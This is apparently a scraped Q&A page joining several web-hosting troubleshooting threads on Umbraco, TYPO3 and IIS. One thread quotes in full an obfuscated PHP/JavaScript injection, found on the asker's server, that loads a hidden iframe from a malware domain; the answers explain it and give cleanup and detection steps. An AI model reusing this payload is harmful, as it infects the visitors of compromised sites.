Umbraco losing admin nodes - umbraco
After a publish up to a remote server the Umbraco admin section on the remote server is not showing any nodes. The pages and images and everything serve correctly, but in the Umbraco admin section there is nothing below the top level nodes in each section and I can't right click and choose 'republish entire site'.
I've connected my localhost version to the same database and there I can see the node structures (but republishing made no difference) and I could see the node structures on the remote server before the latest push which did not include any .config changes.
Does anyone have a script that will re-create the node structure?
EDIT
I've seen a number of links on the Umbraco site like Unable to publish content into umbraco.config but none of it helped - including some permissions advice like #Niks.
I do have a workaround which is to stop and restart the server - which re-populated the nodes without any side-effects - but obviously this is inappropriate in a live environment.
I've seen this before manifesting as a caching problem. Firstly you should make Umbraco refresh its node cache. To do this hit the URL -
http://example.com/umbraco/dialogs/republish.aspx?xml=true
replacing example.com with your own host. Next, recycle the App Pool on the Umbraco server. Finally, clear your browsers local cache and restart it.
You may also be able to avoid this happening in the first place by completely stopping the Umbraco site you are deploying in IIS, copying up your files and then restarting.
Sounds like you may have permission issues. If you're on IIS6/7 make sure to add NETWORK SERVICE read/write/modify on the necessary folders:
/App_Data
/config
/css
/scripts
/masterpages
/data
/umbraco
/umbraco_client
If on a lower version of IIS make sure to add ASP.NET with the same permissions. Hope this helps.
Related
typo3 website move to other domain - need help step by step
I just got a typo3 website and need to transfer to an other domain. Is it enough to copy all the folders (except typo3temp?) to the new place? First I just changed baseurl in ts but it didn't do anything.. Should I do anything with the database when it still on the same server?
In case your question is about "cloning" a complete TYPO3-system an rsync/copy of the whole folder (yes including typo3temp) is the best idea, as this works on all versions, everything else (like excluding typo3temp) depends a whole lot on your TYPO3 expertise to resolve. The database needs to be copied as well. If you need to change db-name or db-credentials on the new system you need to change them in typo3conf/LocalConfiguration.php As soon as you have done this Install Tool and Backend should work: At first try the Install Tool: https://my.new.domain/typo3/install/ If that doesn't work your problem is with the webserver configuration or dns. If that works (and the reports there show no errors), try the Backend: https://my.new.domain/typo3/ In case your question is about which changes are necessary to your TYPO3-installation if domain changes and the web server itself is configured correctly, then there are probably two things you need to change, in order to make the frontend work (although both cases might be omitted, depending on your configuration): sys_template record, if any of those use absRefPrefix or baseurl. If you have access to the MySQL-Database a SELECT pid FROM sys_template WHERE config LIKE "%baseurl%" OR "%absRefPrefix"; might help finding the template, however these template configuration might also be stored in files (typically in fileadmin/templates/**) sys_domain records, a MySQL SELECT pid FROM sys_domain; might uncover where those are stored However these changes are only necessary to enable the frontend to work.
Add a domain record in the backend. And while you don't need the content of the typo3temp folder, make sure the folder actually exists.
When you go to the new domain name in your browser, what happens? Do you get redirected to the old domain? If so, maybe there is an .htaccess redirect happening. Do you get to the new domain, but if you click on a link end up on the old one? Do you get an error? If so, what is the error? Does something else happen?
Umbraco 6.0.3 missing content and media nodes
I have just put up an Umbraco 6.0.3 site on eHosting and set all the directory permissions iaw our.umbraco.org/.../permissions. And this(http://our.umbraco.org/wiki/reference/files-and-folders/permissions/perform-permissions-check) reports the permissions as "perfect". .NET framework set to 4.0 and App pool has been set and recycled. Site shows up but no macros load and in the Umbraco UI there is only a Content node and a Media node, both the Content and Media trees are empty. I can't think of anything else it can be. This is the first V6 site I've put live. Is there anything else I can check? Cheers
Check that your user login has permissions to view those nodes. The fact that you are not seeing any other sections (Settings, Developer, etc) suggests this. Also - are you using any hostnames in Umbraco for the site (where you right click and click manage hostnames on the content node)? If so then check that the root node has a wildcard hostname added. This is a case of retracing your steps over what you've done. If the other options don't work then you can do a database refresh too (copy the dev database to live). The fact you can login to the admin UI, says that you have the database working. However, is it possible that you've tweaked anything manually in the database? Are you using MVC or ASP.NET rendering engine? Check your log files and paste them here if all else fails and we'll try and help you out as best we can. You'll find them in App_Data/Logs/UmbracoLogs.txt
When the content and media nodes failed to load for us in Umbraco 6.0.3 it was due to a bug in Courier which causes the back-office to malfunction if you are connected to a MySQL database (throws an exception complaining "Keyword not supported: 'charset'"). Courier interferes with many back office functions and in this case it is incorrectly assuming that you must be connecting to an MSSQL server. The only solution was to uninstall Courier (which was OK for us because we'd already determined that there are too many show-stopping bugs for it to function as advertised).
Found This Hack in my web server php files
How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#
It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data. If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded. If you have no CMS, change your FTP & control panel passwords. As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it. To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux). I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do. Many of my files were infected with something like: <?php #8f4d8e# ... #/8f4d8e# ?> I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system. If you have SSH access to the server go to your document root and search for all files containing the string: grep -R "#8f4d8e#" . You could also look for your version of the god.php file... look for traces of R57, for example by issuing: grep -R "R57" . Mine had a big ASCII art drawing of a bug at the beginning of the file. I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company). What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.
Setting Up a Test Environment For an ASP.NET MVC3 Website
I've been working for a client's website over the past year. I usually test things locally and then deploy straight to the production website. This has caused us some issues lately so I thought I should create a test/staging environment in which we could thoroughly test new features before pushing them into production. Anyway, we have a VPS hosting account. I usually use remote desktop to manage the website in IIS. So in order to create a test environment, I copy pasted the folder of the production website inside the same directory (so they are both at the same level) and changed the name of the folder. Then I created a new website in IIS and mapped the physical path to the httpdocs folder inside the copied folder. After that, I setup a new application pool which basically has the same settings of the production website's application pool. I also changed the connection string of the test website. But then when I tried to view the test website, it did not work the way I expected it to do. I keep getting &ReturnUrl=%2f appended to the query string, and the website is stripped out of its styles (the CSS). I remember this used to happen before when we were still using a shared hosting account, but I have no idea how to fix that. I really do not know what's wrong. I basically have the same exact setup except I'm using a different port and a different database. I even tried running the test website with the application pool of the production website, but that did not work either... Any suggestions?
looks like permission problem to me, check if your user has correct privileges in the new folder/app pool :)
Can't resolve "UnauthorizedAccessException" with MVC 2 application running under IIS7
We use MVC controllers that access System.File.IO in our application and they work fine in localhost (IIS 6.0-based Cassini). Deploying to IIS7, we have problems getting the controllers to work because they throw UnauthorizedAccessExceptions. We have done the following to try to resolve the issue: - Set NETWORK SERVICE and IUSR accounts to have permission on the files and folders in question - Ensured the App Pool is running under NETWORK SERVICE and loading the user profile - Application is running under full trust - We tried adding impersonation to web.config and giving NETWORK SERVICE write permissions (which was not a great idea because that's not what we want to do) Now, we alternate between getting UnauthorizedAccessException and an IIS7 404 page that suggests the routes are being ignored completely (for example we serve "/favicon.ico" via a controller when the physical file actually lives at /content/images/favicon.ico). We used ProcessMonitor to try to track down the issue but weren't successful. UPDATE: This issue is intermittent. We had a brief few minutes where everything worked without making any configuration changes. We're running on EC2, so this could be related to a distributed file system. We're also using a separate drive to store all web site data, we're not using inetpub/wwwroot. UPDATE 2: The site works without incident under IIS 7.5, with no configuration changes needed but this is likely due to running with the new AppPoolIdentity. Otherwise it's an identical deployment. Unfortunately we can't run R2 on this EC2 instance.
One of the ways to identifying the cause is using Procmon tool from Sysinternals Procmon will show the reason for unable to open the file , it will also show who is holding the file.
The issue turned out to be the controller factory we were using not handling file requests properly.